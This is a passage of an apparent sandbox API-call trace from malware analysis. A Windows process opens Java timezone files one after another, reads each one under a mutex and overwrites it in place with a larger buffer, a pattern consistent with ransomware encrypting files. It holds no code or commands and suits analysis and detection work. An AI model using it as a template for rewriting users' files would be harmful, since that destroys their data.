(x86)\\Java\\jre7\\lib\\zi\\Asia\\Kashgar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\kashgar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.377] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0046.377] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xc1 [0046.377] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0046.377] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.377] ReleaseMutex (hMutex=0x128) returned 1 [0046.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kashgar", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kashgar", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Kashgar", lpUsedDefaultChar=0x0) returned 7 [0046.377] ReadFile (in: hFile=0x168, lpBuffer=0x2602fd8, nNumberOfBytesToRead=0xc1, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2602fd8*, lpNumberOfBytesRead=0x2c0f2bc*=0xc1, lpOverlapped=0x0) returned 1 [0046.378] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0046.378] WriteFile (in: hFile=0x168, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2c0f2d0*=0x649, lpOverlapped=0x0) returned 1 [0046.378] CloseHandle (hObject=0x168) returned 1 [0046.379] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Makassar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\makassar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0046.709] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0046.709] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x55 [0046.709] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0046.709] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.709] ReleaseMutex (hMutex=0x128) returned 1 [0046.709] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Makassar", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0046.709] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Makassar", cchWideChar=8, lpMultiByteStr=0x1e6320c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Makassar", lpUsedDefaultChar=0x0) returned 8 [0046.709] ReadFile (in: hFile=0x1a0, lpBuffer=0x1ea3f88, nNumberOfBytesToRead=0x55, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3f88*, lpNumberOfBytesRead=0x2c0f2bc*=0x55, lpOverlapped=0x0) returned 1 [0046.710] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0046.710] WriteFile (in: hFile=0x1a0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5dd, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5dd, lpOverlapped=0x0) returned 1 [0046.710] CloseHandle (hObject=0x1a0) returned 1 [0046.856] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Pyongyang" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\pyongyang"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0046.857] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0046.857] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x65 [0046.857] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0046.857] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.857] ReleaseMutex (hMutex=0x128) returned 1 [0046.857] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pyongyang", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.857] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pyongyang", cchWideChar=9, lpMultiByteStr=0x1e6322c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pyongyang", lpUsedDefaultChar=0x0) returned 9 [0046.857] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e49cf0, nNumberOfBytesToRead=0x65, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e49cf0*, lpNumberOfBytesRead=0x2c0f2bc*=0x65, lpOverlapped=0x0) returned 1 [0046.858] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0046.858] WriteFile (in: hFile=0x1cc, lpBuffer=0x2640408*, nNumberOfBytesToWrite=0x5ed, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2640408*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5ed, lpOverlapped=0x0) returned 1 [0046.859] CloseHandle (hObject=0x1cc) returned 1 [0046.859] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Seoul" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\seoul"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0046.877] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0046.877] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xa5 [0046.877] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0046.877] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.878] ReleaseMutex (hMutex=0x128) returned 1 [0046.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Seoul", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0046.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Seoul", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Seoul", lpUsedDefaultChar=0x0) returned 5 [0046.879] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e37308, nNumberOfBytesToRead=0xa5, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37308*, lpNumberOfBytesRead=0x2c0f2bc*=0xa5, lpOverlapped=0x0) returned 1 [0046.882] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0046.882] WriteFile (in: hFile=0x1cc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x62d, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2c0f2d0*=0x62d, lpOverlapped=0x0) returned 1 [0046.883] CloseHandle (hObject=0x1cc) returned 1 [0046.883] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Urumqi" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\urumqi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0046.924] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0046.924] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xb5 [0046.924] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0046.924] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.924] ReleaseMutex (hMutex=0x128) returned 1 [0046.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Urumqi", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0046.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Urumqi", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Urumqi", lpUsedDefaultChar=0x0) returned 6 [0046.924] ReadFile (in: hFile=0x1a8, lpBuffer=0x26019e8, nNumberOfBytesToRead=0xb5, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x26019e8*, lpNumberOfBytesRead=0x2c0f2bc*=0xb5, lpOverlapped=0x0) returned 1 [0046.925] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0046.925] WriteFile (in: hFile=0x1a8, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63d, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2c0f2d0*=0x63d, lpOverlapped=0x0) returned 1 [0046.925] CloseHandle (hObject=0x1a8) returned 1 [0046.925] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Cape_Verde" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\cape_verde"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0046.938] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0046.938] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x61 [0046.939] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0046.939] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.939] ReleaseMutex (hMutex=0x128) returned 1 [0046.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Cape_Verde", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0046.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Cape_Verde", cchWideChar=10, lpMultiByteStr=0x1e6322c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Cape_Verde", lpUsedDefaultChar=0x0) returned 10 [0046.939] ReadFile (in: hFile=0x1c4, lpBuffer=0x1df5558, nNumberOfBytesToRead=0x61, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df5558*, lpNumberOfBytesRead=0x2c0f2bc*=0x61, lpOverlapped=0x0) returned 1 [0046.939] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0046.940] WriteFile (in: hFile=0x1c4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e9, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5e9, lpOverlapped=0x0) returned 1 [0046.940] CloseHandle (hObject=0x1c4) returned 1 [0046.940] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Currie" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\currie"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0046.940] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0046.940] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4c8 [0046.940] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0046.940] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.940] ReleaseMutex (hMutex=0x128) returned 1 [0046.940] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Currie", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0046.940] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Currie", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Currie", lpUsedDefaultChar=0x0) returned 6 [0046.940] ReadFile (in: hFile=0x1c4, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4c8, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x2c0f2bc*=0x4c8, lpOverlapped=0x0) returned 1 [0047.235] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0047.235] WriteFile (in: hFile=0x1c4, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x2c0f2d0*=0xa50, lpOverlapped=0x0) returned 1 [0047.236] CloseHandle (hObject=0x1c4) returned 1 [0047.236] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CST6CDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\cst6cdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0047.248] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.248] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4f8 [0047.249] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.249] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.249] ReleaseMutex (hMutex=0x128) returned 1 [0047.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CST6CDT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0047.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CST6CDT", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CST6CDT", lpUsedDefaultChar=0x0) returned 7 [0047.249] ReadFile (in: hFile=0x1a8, lpBuffer=0x1e17498, nNumberOfBytesToRead=0x4f8, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e17498*, lpNumberOfBytesRead=0x2c0f2bc*=0x4f8, lpOverlapped=0x0) returned 1 [0047.410] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0047.411] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dad438*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dad438*, lpNumberOfBytesWritten=0x2c0f2d0*=0xa80, lpOverlapped=0x0) returned 1 [0047.411] CloseHandle (hObject=0x1a8) returned 1 [0047.411] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+3" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0047.414] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.414] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1b [0047.414] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.414] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.414] ReleaseMutex (hMutex=0x128) returned 1 [0047.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT+3", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0047.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT+3", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT+3", lpUsedDefaultChar=0x0) returned 5 [0047.414] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e78b00, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78b00*, lpNumberOfBytesRead=0x2c0f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0047.415] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0047.415] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0047.415] CloseHandle (hObject=0x1ac) returned 1 [0047.415] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-12" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-12"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0047.416] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.416] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1b [0047.416] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.416] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.416] ReleaseMutex (hMutex=0x128) returned 1 [0047.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-12", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0047.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-12", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT-12", lpUsedDefaultChar=0x0) returned 6 [0047.416] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e78b00, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78b00*, lpNumberOfBytesRead=0x2c0f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0047.417] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0047.417] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0047.417] CloseHandle (hObject=0x1ac) returned 1 [0047.417] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-9" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-9"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0047.418] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.418] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1b [0047.418] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0047.418] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.418] ReleaseMutex (hMutex=0x128) returned 1 [0047.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-9", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0047.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-9", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT-9", lpUsedDefaultChar=0x0) returned 5 [0047.418] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e78b00, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78b00*, lpNumberOfBytesRead=0x2c0f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0047.419] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, 